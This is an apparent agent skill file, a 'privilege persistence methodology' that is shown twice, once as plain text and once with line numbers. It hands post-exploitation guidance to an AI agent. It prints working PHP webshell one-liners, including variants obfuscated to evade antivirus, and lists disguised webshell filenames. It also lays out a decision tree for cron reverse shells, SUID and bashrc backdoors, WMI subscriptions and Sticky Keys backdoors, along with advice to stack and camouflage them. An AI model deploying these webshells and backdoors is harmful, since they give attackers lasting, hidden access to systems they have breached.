Privilege Persistence Methodology
Persistence core: establish an access channel that does not depend on the original vulnerability.
⛔ Further Reading (Must Read)
- Concrete commands for the various Linux/Windows persistence techniques → references/persistence-techniques.md
Phase 1: Web-Layer Persistence
Webshell Deployment
Deployment locations (by stealth): static asset directory > upload directory > deep inside a framework directory > appended to an existing file
Stealth webshell:
<?php @eval($_POST['cmd']);?> // One-liner
<?php $a='sys'.'tem'; $a($_GET['c']);?> // String concatenation for AV evasion
<?php array_map('assert', array($_POST['cmd']));?> // Function callback for AV evasion
Filename disguise: .htaccess, config.bak.php, error_log.php, .user.ini
Phase 2: Persistence Decision Tree
Target operating system?
├─ Linux
│ ├─ SSH access available? → SSH public key (most reliable)
│ ├─ Need automatic callback? → Cron reverse shell
│ ├─ Need stealth? → systemd service / bashrc backdoor
│ └─ Need a quick backdoor? → SUID shell
├─ Windows
│ ├─ Administrator rights? → WMI event subscription (hardest to detect)
│ ├─ Need start-up persistence? → Registry Run key / scheduled task
│ └─ RDP access available? → Sticky Keys backdoor
└─ Web layer (generic) → Webshell
Detailed commands → [references/persistence-techniques.md](references/persistence-techniques.md)
Phase 3: Multi-Layer Persistence Strategy
Do not rely on a single technique — establish multiple backdoors:
- Layer 1: Webshell (web layer, easiest to recover)
- Layer 2: SSH key or scheduled task (system layer)
- Layer 3: Service or WMI subscription (deep layer, hard to discover)
Notes
- The more stealthy the persistence, the better — filenames/service names/task names should look like normal system components
- Avoid obvious paths (such as
/tmp/backdoor.sh)
- During a red team assessment, record what was deployed and where
PHP Webshell Obfuscation
- Variable functions: dynamic invocation with
$$var, avoiding direct occurrences of eval/system (stealth execution)
- Alternative functions: replace eval with assert, system with passthru, and similar substitutions
Stealth Ranking
- Do not modify core files such as index.php — easy to detect and dangerous
1---2name: persist-maintain3description: "Privilege persistence methodology. Use when you have already obtained access to a target system and need to maintain long-term access. Covers Linux (cron/SSH key/webshell) and Windows (scheduled task/service/registry/WMI) persistence techniques, plus webshell deployment and stealth strategies at the web layer"4zh-signals: "在获得目标权限后建立不依赖原始漏洞的持久访问通道,覆盖 Linux/Windows 持久化与 Web 层 webshell。信号:权限持久化,webshell,cron,计划任务,后门"5when-to-use: >-6 Use after gaining system access when you need to maintain long-term access via7 Linux (cron, SSH keys), Windows (scheduled tasks, services, registry), or8 web-layer webshells.9metadata:10 source: https://skillmd.com/skills/dangeroussong/persist-maintain11 tags: "persist,persistence,webshell,backdoor,cron,scheduled task,service,maintain access"12 category: "postexploit"13---1415# Privilege Persistence Methodology16- 攻击大类:C09 Web应用漏洞利用1718Persistence core: establish an access channel that **does not depend on the original vulnerability**.1920## ⛔ Further Reading (Must Read)2122- Concrete commands for the various Linux/Windows persistence techniques → [references/persistence-techniques.md](references/persistence-techniques.md)2324---2526## Phase 1: Web-Layer Persistence2728### Webshell Deployment29**Deployment locations (by stealth)**: static asset directory > upload directory > deep inside a framework directory > appended to an existing file3031**Stealth webshell**:32```php33<?php @eval($_POST['cmd']);?> // One-liner34<?php $a='sys'.'tem'; $a($_GET['c']);?> // String concatenation for AV evasion35<?php array_map('assert', array($_POST['cmd']));?> // Function callback for AV evasion36```37**Filename disguise**: `.htaccess`, `config.bak.php`, `error_log.php`, `.user.ini`3839## Phase 2: Persistence Decision Tree4041```42Target operating system?43├─ Linux44│ ├─ SSH access available? → SSH public key (most reliable)45│ ├─ Need automatic callback? → Cron reverse shell46│ ├─ Need stealth? → systemd service / bashrc backdoor47│ └─ Need a quick backdoor? → SUID shell48├─ Windows49│ ├─ Administrator rights? → WMI event subscription (hardest to detect)50│ ├─ Need start-up persistence? → Registry Run key / scheduled task51│ └─ RDP access available? → Sticky Keys backdoor52└─ Web layer (generic) → Webshell53Detailed commands → [references/persistence-techniques.md](references/persistence-techniques.md)54```5556## Phase 3: Multi-Layer Persistence Strategy5758Do not rely on a single technique — establish multiple backdoors:591. **Layer 1**: Webshell (web layer, easiest to recover)602. **Layer 2**: SSH key or scheduled task (system layer)613. **Layer 3**: Service or WMI subscription (deep layer, hard to discover)6263## Notes64- The more stealthy the persistence, the better — filenames/service names/task names should look like normal system components65- Avoid obvious paths (such as `/tmp/backdoor.sh`)66- During a red team assessment, record what was deployed and where6768## PHP Webshell Obfuscation69- Variable functions: dynamic invocation with `$$var`, avoiding direct occurrences of eval/system (stealth execution)70- Alternative functions: replace eval with assert, system with passthru, and similar substitutions7172## Stealth Ranking73- Do not modify core files such as index.php — easy to detect and dangerous